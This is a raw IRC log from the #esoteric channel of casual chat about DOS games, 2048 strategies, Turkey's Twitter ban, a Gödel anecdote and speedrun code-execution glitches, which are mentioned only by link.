< 1395432836 773816 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Slereah_, he says thanks < 1395432846 228288 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Apparently! < 1395434209 439767 :Bike!~Glossina@71-222-36-216.ptld.qwest.net QUIT :Ping timeout: 240 seconds < 1395434274 348144 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1395434338 253733 :Bike!~Glossina@71-222-39-26.ptld.qwest.net JOIN :#esoteric < 1395434364 962579 :Bike!~Glossina@71-222-39-26.ptld.qwest.net NICK :Guest65213 < 1395435063 499633 :Slereah_!~jackal@244.168.90.79.rev.sfr.net QUIT :Ping timeout: 265 seconds < 1395435263 627383 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com QUIT : < 1395435739 321505 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395435882 252198 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Quit: Leaving... < 1395435998 289506 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 240 seconds < 1395436018 187683 :Slereahphone!~slereahph@90.84.145.85 JOIN :#esoteric < 1395436778 330005 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395437084 20745 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395437231 623794 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :http://zzo38computer.org/GAMES/frobozle_savamaz.zip Contains FROBOZLE (DOS version of RoboZZle, with some new pieces and commands), and SAVAMAZ (an incomplete roguelike game). < 1395437278 111924 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what kind of roguelike is it? < 1395437281 32439 :Guest65213!~Glossina@71-222-39-26.ptld.qwest.net NICK :Bike < 1395437310 791344 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :myname: What does that question mean? < 1395437341 318079 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :is there something special to it? < 1395437356 716755 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes < 1395437358 568804 :nisstyre!~yourstrul@c-74-114-78-210.netflash.net JOIN :#esoteric < 1395437364 248686 :nisstyre!~yourstrul@c-74-114-78-210.netflash.net QUIT :Changing host < 1395437364 303816 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395437370 90791 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :which is? < 1395437379 581517 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :There is fog to block your vision, for one thing. There is also windows that you can see through but cannot walk through. < 1395437407 673388 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Also you have to up upstairs unlike many roguelike games where you go mainly downstairs. < 1395437457 911135 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And sometimes there are laser beams blocking the stairs. < 1395437478 207468 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :nethack had at least windows in sokoban iirc < 1395437521 581870 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :i don't remember any windows in nethack. < 1395437548 485277 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Well, if you look at NetHack you would know, and if you look at my games you would know too (source codes are available for both games) < 1395437553 965645 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :it may be one of my numerous mods installed < 1395437576 366459 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Both of these programs I linked are public domain < 1395437597 142195 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :i don't think nethack has any objects that don't take up a whole tile, for sure < 1395437626 248842 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :yeah < 1395437627 470506 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Bike: Probably it is true they all take up a whole tile < 1395437632 207142 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :http://members.tripod.com/~Scrooge_McFuck/ meanwhile, in the 90s < 1395437688 211290 :ion!ion@heh.fi PRIVMSG #esoteric : < 1395437699 658284 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sfw? < 1395437712 198579 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :it's a punk band. < 1395437719 435095 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haha of course it is < 1395437729 726957 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :not like, duck porn. i don't know what's allowed at ur job < 1395437885 541377 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :also have y'all heard about turkey. good pr move on google's part: https://pbs.twimg.com/media/BjPyxrcIcAAsheI.jpg < 1395437950 405994 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :https://twitter.com/pickover/status/447026154135113729 < 1395437984 194043 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :i just like to imagine that edrogan is an undercover google marketer < 1395438006 297180 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :are 8s lucky in turkish culture < 1395438182 881025 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :" Access to Twitter was restricted under article 10 of the law to fight terrorism. Twitter is now sort of a terrorist organisation in Turkey, I guess" < 1395438206 96771 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cool, does that mean I'm a member of a terrorist organization? < 1395438221 876351 :ion!ion@heh.fi PRIVMSG #esoteric :We are all members of terrorist organizations. < 1395438225 981143 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :you gulenist! < 1395438398 589815 :AnotherTest!~turingcom@d51A4C65C.access.telenet.be QUIT :Ping timeout: 265 seconds < 1395438584 365022 :Slereah_!~jackal@244.168.90.79.rev.sfr.net JOIN :#esoteric < 1395438590 202020 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395438876 391679 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Ping timeout: 252 seconds < 1395438877 105897 :Slereahphone!~slereahph@90.84.145.85 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395439216 542839 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :kmc: when i applied to renew my uk visa the form asked if i was a member of a terrorist organisation, with a definition that included supporting the violent overthrow of any government < 1395439272 22082 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Phew < 1395439274 557085 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :at the time the labour party was still in government after supporting the violent overthrow of the government of iraq < 1395439276 966890 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :My PC almost died D: < 1395439282 874588 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Managed to revive it fortunately < 1395439323 841519 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :and i had at one point been a meme < 1395439335 26079 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :ber of the labour party < 1395439353 4123 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :that was a good place for that line to get cut off. < 1395439353 336583 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :this reminds me of the story about godel and citizenship. < 1395439414 91230 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :elliott_: i'm not sure i can claim to be a meme without replicating more < 1395439424 366393 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Bike: story? < 1395439542 794114 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :where is boily < 1395439560 38565 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :godel's in court getting american citizenship, having fleed the nazis in austria. the judge tells him how great it is to be an american, where there's no way dictators like the nazis can come into power. godel starts disagreeing, saying there's a logical flaw in the Constitution allowing such a thing, but then his buddy Einstein tells him to shut the fuck up and get americanized < 1395439575 412865 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395439693 288205 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :heh < 1395439698 364633 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Hey, gotta listen to Godel < 1395439703 598992 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :That guy knows his logic < 1395439709 856711 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :unless he tells you your food is poisoned < 1395439715 959125 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :Although he made the fatal flaw of assuming the US cared about the constitution < 1395439718 682116 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :MAYBE IT IS < 1395439722 152077 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`addquote and i had at one point been a meme < 1395439728 531052 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(I know HackEgo isn't here but, grep) < 1395439758 108975 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lexande: that is an amusing story < 1395439771 335772 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395439771 554874 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395439821 589997 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :the lack of gregor and gregorbots is subtly motivating me to write a bfjoustbot < 1395439840 614107 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :but i might not care quite enough < 1395439857 507650 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :where did they go? :/ < 1395440040 352 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Did you look at my game? You can also try to make up more level of it < 1395440051 114144 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :i ain't got no dos < 1395440072 960922 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You could try to run them on an emulator, or see if you are able to port it to FreeBASIC or something < 1395440217 819015 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :speaking of emulators, arbitrary code execution vuln in Super Metroid http://tasvideos.org/4224S.html < 1395440238 791356 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :"We may be at the point where tool-assisted videogame speedrunning needs its own tech conference." < 1395440308 888318 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i approve < 1395440340 715055 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :has a full writeup of how it works. apparently if you use the right combination of guns it starts copying bits of ram everywhere, which is like 80% cooler than any qemu bug to explain < 1395440497 869215 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It happens in other games too, such as Pokemon Yellow < 1395440540 151834 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :i remember the pokemon yellow bug, and also the earthbound one, but they didn't come with explanations that i recall < 1395440721 371207 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :lol, they just run out the door too fast to get to fighting the chozo statue < 1395441298 846077 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :http://www.youtube.com/watch?v=zew4pQ_1ZSU#t=13m50s really, i'm sure netsec would be more popular if it looked like this < 1395441412 338236 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1395442539 128755 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :The pokemon yellow one was thorughly explained < 1395442581 525211 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :http://aurellem.org/vba-clojure/html/total-control.html < 1395442994 312644 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395443157 512865 :huhuh!~area@wikipedia/PiRSquared17 NICK :huh < 1395443257 394562 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 240 seconds < 1395443320 863391 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :FireFly: I have read that, too. They wrote other things about Pokemon too such as type effectiveness and allergies, and "9 Questions with Pokemon" (which I have converted into Internet Quiz Engine format, using a AWK script). < 1395443732 275360 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :hah! "Plot idea: 97% of the world's scientists contrive an environmental crisis, but are exposed by a plucky band of billionaires & oil companies." < 1395443757 611498 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haha < 1395443936 735602 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395444271 382379 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :As well as things other than Pokemon, too. < 1395444342 306807 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395444472 895547 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :woot.. freedom. < 1395444480 365280 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i now have sim-card size adapters < 1395444528 561891 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :now i can cell phone the way our founding fathers intended! < 1395444609 43049 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1395444620 56769 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :please, founding fathers would use CDMA < 1395444675 187546 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :pffftt.. cdma can suck it < 1395444728 977442 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :although one of the devices i have here is carrier locked.. oh well guess i'll skip that one < 1395444757 726831 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :AMERICA is all about doing it different from the rest of the world < 1395444938 628849 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395445082 252588 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 252 seconds < 1395445595 170429 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395445674 584996 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is VMware Workstation really better than VirtualBox? < 1395445775 688453 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :is rankine really better than fahrenheit < 1395445824 693275 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i like vmware < 1395445825 65505 :huh!~area@wikipedia/PiRSquared17 QUIT :Quit: . Sorry!!! < 1395445831 58144 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :you can get vmware player for free, too < 1395445836 346422 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Bike: it ranks higher, obviously < 1395445890 433080 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Yeah, but there's not much you can do with VMware Player than play prebuilt or hand-written VMs, I think < 1395445969 726366 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :but it does come with a free pool noodle. < 1395446104 190783 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 245 seconds < 1395446185 308148 :oerjan!oerjan@sprocket.nvg.ntnu.no TOPIC #esoteric :a variety of colorful fish, but the darkness of no HackEgo | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ < 1395446221 392759 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395446223 747799 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :maybe the wisdom pdf will be all that remains < 1395446250 205561 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :rip #esoteric, twerked too hard < 1395446356 443711 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395446395 135707 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :So what is everybody up to today < 1395446407 316977 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Or planning to do or whatever < 1395446798 875622 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Maybe to write more of my Z-machine compiler, is what I might do today < 1395446808 253531 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Or play Pokemon card, or both < 1395446857 322242 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1395447200 859792 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Bike: Define "better". < 1395447207 793054 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395447213 528919 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395447312 256396 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :pikhq: is margarine really better than I Can't Believe It's Not Butter(TM)? < 1395447419 639721 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :bike: https://www.youtube.com/watch?v=0MsbvGmLaU4 < 1395447801 887985 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I don't believe I can't believe it's not butter is not butter after watching that clip < 1395447853 415435 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395447861 890517 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :(if you believe you know what I'm talking about please explain, because I don't) < 1395448668 482226 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION finally got at least to a 1024 < 1395448697 97913 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :fuck you, man :( < 1395448706 70577 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :is everybody playing this game? < 1395448714 629227 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you've been having trouble getting to that too? < 1395448719 638581 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :int-e: yes, hth < 1395448724 284353 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :at least i got a 2048 in flappy logarithmic 2048 < 1395448730 794841 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :"woo, you pased eleven pillars" < 1395448761 142433 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I think my record is either 512 or 1024 (in the original 2048, not in the derivatives) < 1395448803 208760 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Bike: i think i fell into a nice rhythm this time < 1395448808 365185 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :512 was easy, 1024 was hard, 2048 was impossible until I adapted a good strategy (which I can't claim credit for, I watched a colleague play.). < 1395448812 278291 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395448821 472374 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and yeah the original. < 1395448833 828560 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(or so it claims) < 1395448840 188 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Somebody wrote a computer program that gets 2048 90% of the time. < 1395448865 964211 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I found the doge-2048 easier than the original though, maybe the trick is to watch the colors and not the numbers < 1395448884 651938 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :http://gabrielecirulli.github.io/2048/ http://www.2048tile.co/ (which I believe are the same game, but the latter is full of ads) < 1395448957 756451 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :And I hope that's the original one. < 1395449079 273472 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 245 seconds < 1395449084 272005 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if i add the pieces other than the 1024 at game over, i get 526 i think < 1395449300 304027 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :pet peeve: store websites that try to be amazon, but wont tell you whats actually in stock in an actual store down the street from you. < 1395449313 830197 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :no walmart, i dont give a fuck about what you can fedex me. < 1395449621 349664 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :i just got my highest score yet (only up to 512 though) but it took systematism < 1395449624 326548 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :imo fuck that < 1395449625 735990 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric : 512 was easy, 1024 was hard, 2048 was impossible until I adapted a good strategy (which I can't claim credit for, I watched a colleague play.). < 1395449629 114526 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :what strategy < 1395449654 121457 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :left up right down, p. good strategy < 1395449684 684315 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :ACTION right now, p. helpful < 1395449890 166634 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric : is rankine really better than fahrenheit < 1395449891 388038 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes, hth < 1395449945 385457 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :i don't actually remember which one rankine is. fahrenheit but based at absoltue zero? < 1395449972 232803 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yep < 1395450052 350841 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :wikipedia tells me that the gas constant, as measured in cubic feet psi per rankine-pound-mole, is almost eleven < 1395450077 560583 :Bike!~Glossina@71-222-39-26.ptld.qwest.net PRIVMSG #esoteric :i'm like 80% sure somebody wrote this table as a joke < 1395450236 270566 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395450283 933003 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : left up right down, p. good strategy <-- that actually works quite a while, i think. maybe as far as 256. < 1395450310 319424 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :although by the time it stops working, your field will be so messed up it's unsaveable without extreme luck. < 1395450357 968444 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION tests < 1395450458 719477 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm not quite to 256 on first try < 1395450477 765834 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but i have 128, 64, 32 and 3*16 < 1395450500 236702 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so it will probably manage occasionally < 1395450509 289595 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 240 seconds < 1395450634 451548 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :2nd try had 128 + 64 + 2*32 < 1395450733 275606 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: any strategy will work for quite a while < 1395450746 940252 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :imo try to lose with as low a score as possible < 1395450827 496062 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :3rd try got above 256, then as well as 128 + 2*64 < 1395451023 929541 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1395451073 206409 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :shachaf: ok i managed before 128 on first try < 1395451161 229433 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :how is the score computer anyway < 1395451168 113137 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :why isn't it just the sum of the numbers on the board or something < 1395451205 203885 :monotone!~monotone@room208.org PRIVMSG #esoteric :I thought it was the sum of the tiles you joined together. Admittedly I didn't actually check my theory. < 1395451237 262217 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :http://int-e.eu/~bf3/tmp/2048-2.png :) < 1395451647 484871 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :shachaf: ok with a slightly better misere strategy i managed score 276 < 1395451661 708128 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no blocks above 16 < 1395451692 460269 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395451725 557893 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395451765 277430 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395451981 337870 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 252 seconds < 1395452101 583532 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :http://i.imgur.com/EQzOd1v.png < 1395452453 25313 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395452812 317961 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395453510 52455 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395453641 29141 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do they keep track of misere scores? < 1395453702 287427 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not to my knowledge < 1395454306 437157 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : the lack of gregor and gregorbots is subtly motivating me to write a bfjoustbot <-- EgoBot is still here < 1395457383 381709 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oerjan: the lack of gregor is the bigger deal. also, his unwillingness to install the fixed point scoring < 1395457835 480558 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395458510 345642 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :zzo38: Do you like the chess variations in ? < 1395458563 152944 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395458584 218688 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :(Page 21.) < 1395458591 466530 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :This file is damaged. < 1395458607 589148 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(Apparently.) < 1395458630 532510 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Is it? How? < 1395458668 699090 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know. My computer tells me it is damaged. < 1395458671 328127 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395458691 844714 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't quite believe them, but that is what it says. < 1395458703 232639 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Which PDF viewer are you using? < 1395458710 576699 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I am using Google Chrome. It works for me. < 1395458726 364374 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I am using Adobe < 1395458812 118842 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Fixed point scoring for waht? < 1395459387 404789 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395459458 62744 :nooodl_!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 246 seconds < 1395459752 700516 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :> fix score < 1395459752 924462 :idris-ircslave!~ircslave@dslb-092-072-133-213.pools.arcor-ip.net PRIVMSG #esoteric :No such variable fix < 1395459756 386781 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `score' < 1395459791 180230 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :another country heard from < 1395460416 768019 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395461569 879928 